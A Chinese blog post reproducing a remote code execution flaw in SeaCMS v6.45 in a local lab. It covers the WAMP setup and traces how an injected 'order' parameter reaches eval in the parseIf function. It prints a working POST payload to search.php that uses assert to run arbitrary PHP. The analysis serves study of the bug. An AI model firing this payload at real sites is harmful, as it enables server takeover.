Seacms漏洞分析利用复现 By Assassin

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_35078631/article/details/76595817

碰到了cms,之前一直没有真正的分析过,趁着没事干准备复现一个seacms的漏洞复现,但是经过一系列的苦痛挣扎发现—–搭个环境神特么难…一开始我想用ubuntu直接搭建,但是我用的是php7,而各大seacms的安装指南上说…

===必读提示===
-------------------------------------
【1】自适应模板不支持IE6/7/8古董浏览器,会发生错误。国内双核浏览器的兼容模式一般是ie7内核。
老版本默认模板可以登录官网单独下载。
【2】默认模板首页幻灯片设置办法:五星推荐视频 + 视频的幻灯图片
【3】php7环境下,模板报500错误的解决办法:php7环境下判断字符为空时,部分情况下需要用引号。
例如:if:"[videolist:state]"==""

锤子啊!例如?没有具体教程你让我怎么改…然后挣扎半天,也不想换php版本了,利用原来的虚拟机搞了一发…
环境windows7 x86 + wamp神器,下面讲讲具体过程吧

一、环境搭建

为什么选择wamp,确实太方便了,都是高度集成的,非常好用,php的还可以切换版本,方便至极。下面是搭建过程

1.安装wamp的依赖项

环境搭建需要费一番手脚,因为windows7 本身在安装wamp的时候会缺少两个库,首先我们需要下载两个wamp依赖的项vcredist_x86.exe和vcruntime140.dll。注意,这一步要在装wamp之前!
vcredist_x86.exe下载
vcruntime140.dll下载

2.安装wamp

直接从百度上下载wamp,安装即可。这个没什么技术含量吧~
安装好之后,假如默认安装在C盘上,注意网页的根目录在C://wamp/www/ 目录下嗯。装好了以后具体可以根据自己的喜好做调整,这里不讲了。自行测试环境。

3.安装Seacms v6.45

在这里我安装的是Seacms v6.45,确保漏洞可以利用嗯
Seacms v6.45下载地址
解压之后将upload文件放在C://wamp/www/ 目录下嗯,这里我把文件名字改了一下,改成了。访问http://localhost/seacms_upload/ 准备安装

这里写图片描述

wamp中root的密码是空的,管理员的帐号密码可以自己设置,网站设置不需要动,因为我们是本地搭建嘛,然后进行安装,很快会提醒如下:

这里写图片描述

然后我们验证一下吧!直接win7点击访问首页或者访问后台验证也可以,我们这里配置一下环境使其能在局域网中访问。

4.配置环境使局域网可以访问

虚拟机使用网桥连接

win7虚拟机地址  :192.168.200.110
ubuntu攻击机地址:192.168.200.107

在虚拟机中需要更改访问权限

(1)在wamp小图标中apache>httpd.conf

修改Listen端口,搜索Listen,将默认的80端口修改,这里我修改成了2333端口

(2)在wamp小图标中apache>httpd_vhosts.conf

修改端口成2333端口,然后我们在下面能看到一个Require local,将它改成Require all granted
修改后如下:

这里写图片描述

(3)设置的防火墙

有可能会存在防火墙将外网访问给杀了的,需要修改一下,具体的过程参考如下链接吧~
https://zhidao.baidu.com/question/322889649.html

从ubuntu中的浏览器访问后台登录界面

http://192.168.200.110:2333/seacms_upload/index.php

访问

http://192.168.200.110:2333/seacms_upload/admin/login.php?gotopage=/seacms_upload/admin/

这里写图片描述

输入帐号密码登录
这里写图片描述

可以看到访问成功啦,这下环境就都搭建好了!

二、漏洞分析

网上的讲解很多了,漏洞的初始接口在./search.php文件中,打开该文件,漏洞代码在212行的代码中,而关键代码就是211-213这3行过滤条件

    $content=replaceCurrentTypeId($content,-444);
    $content=$mainClassObj->parseIf($content);
    $content=str_replace("{seacms:member}",front_member(),$content);

原因是类的parseIf函数中存在漏洞,这里提前将大神利用的payload贴出来

GEThttp://192.168.200.110:2333/seacms_upload/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

可以看出来post包含了经典的一句话木马嘛,但是具体是怎么绕过机制的还要分析。

我们先放着这个关键代码不动,看一下程序的流程,首先是我们看网上的poc是有get有post的,输入的get个post都在哪里呢?在./include/common.php 文件中

10-17if(PHP_VERSION < '4.1.0') {
    $_GET = &$HTTP_GET_VARS;
    $_POST = &$HTTP_POST_VARS;
    $_COOKIE = &$HTTP_COOKIE_VARS;
    $_SERVER = &$HTTP_SERVER_VARS;
    $_ENV = &$HTTP_ENV_VARS;
    $_FILES = &$HTTP_POST_FILES;
}

45-48foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

查找其他标签的可控内容,写入if标签
可以找到一处其他标签可控且没有做任何处理的位置,直接写入if标签语句即可造成任意代码执行

function echoSearchPage()
{
        global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
        $order = !empty($order)?$order:time;
...
...
...
$content = str_replace("{searchpage:page}",$page,$content);
        $content = str_replace("{seacms:searchword}",$searchword,$content);
        $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
        $content = str_replace("{searchpage:ordername}",$order,$content);
...
...
...

这里写图片描述

但是这个就非常奇怪,不知道为啥使用GET和POST结果完全不一样,用POST就可以GET就会爆炸,就在这一句爆炸

search.php 文件  158$content = str_replace("{searchpage:ordername}",$order,$content);

继续分析吧,截至到问题代码之前,我们输出一下$content变量看一下,标签被替换成了这样

<a href="http://localhost/search.php?page=1&amp;searchtype=5&amp;order=time&amp;tid=0&amp;area=&amp;year=&amp;letter=&amp;yuyan=&amp;state=&amp;money=&amp;ver=&amp;jq=" {if:"}{end="" if}{if:1)print_r($_post[func]($_post[cmd]));="" }{end="" if}"="=&quot;time&quot;}" class="btn btn-success" {else}="" {end="" if}="" id="orderhits">最新上映</a>
<a href="http://localhost/search.php?page=1&amp;searchtype=5&amp;order=hit&amp;tid=0&amp;area=&amp;year=&amp;letter=&amp;yuyan=&amp;state=&amp;money=&amp;ver=&amp;jq=" {if:"}{end="" if}{if:1)print_r($_post[func]($_post[cmd]));="" }{end="" if}"="=&quot;hit&quot;}" class="btn btn-success" {else}="" {end="" if}="" id="orderaddtime">最近热播</a>
<a href="http://localhost/search.php?page=1&amp;searchtype=5&amp;order=score&amp;tid=0&amp;area=&amp;year=&amp;letter=&amp;yuyan=&amp;state=&amp;money=&amp;ver=&amp;jq=" {if:"}{end="" if}{if:1)print_r($_post[func]($_post[cmd]));="" }{end="" if}"="=&quot;score&quot;}" class="btn btn-success" {else}="" {end="" if}="" id="ordergold">评分最高</a>

我们继续跟踪代码,找到./include/main.class.php,可以看到parseIf函数代码如下

    function parseIf($content){
        if (strpos($content,'{if:')=== false){
        return $content;
        }else{
        $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
        $labelRule2="{elseif";
        $labelRule3="{else}";
        preg_match_all($labelRule,$content,$iar);
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }else{
                $elseIfArray=explode($labelRule2,$strThen);
                $elseIfArrayLen=count($elseIfArray);
                $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
                $resultStr=$elseIfSubArray[1];
                $elseIfArraystr0=addslashes($elseIfArray[0]);
                @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
                for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
                    $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
                    $strElseIf=$this->parseStrIf($strElseIf);
                    $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
                    @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
                    @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
                    if ($elseIfFlag) {break;}
                }
                $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
                $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
                if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
                @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
                $content=str_replace($iar[0][$m],$resultStr,$content);
            }
        }
        return $content;
        }
    }

利用到的是这一句

@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

流程中开始时poc制造的注意事项

  • 1.串中要有{if:字段
  • 2.要匹配出正则表达式如下的{if:(.*?)}(.*?){end if}

这个时候进入循环依次对应利用到之前order输入到html中的标签内容,此时匹配得到的正则表达式即$iar[0][$m]{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if},第一个匹配项$iar[1][$m]1)print_r($_POST[func]($_POST[cmd]));//

然后我们看一下

...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){

代表$iar[2][$m]不能含有"{elseif" 在poc中没有存在成立,该判断然过进入if语句中

下一句判断

if (strpos($strThen,$labelRule3)>=0){

因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!
最后有效的利用代码如下

eval("if(1)print_r($_POST[func]($_POST[cmd]));//){$ifFlag=true;}else{$ifFlag=false;} ")

这里其实还是讲的poc是怎么绕过漏洞的,但是自己构造poc确实需要很扎实的功底,我暂时是不具备的,希望对大家有所帮助吧!

如有错误欢迎大神指正!求神牛勿喷。

利用效果图

这里写图片描述

没有更多推荐了,返回首页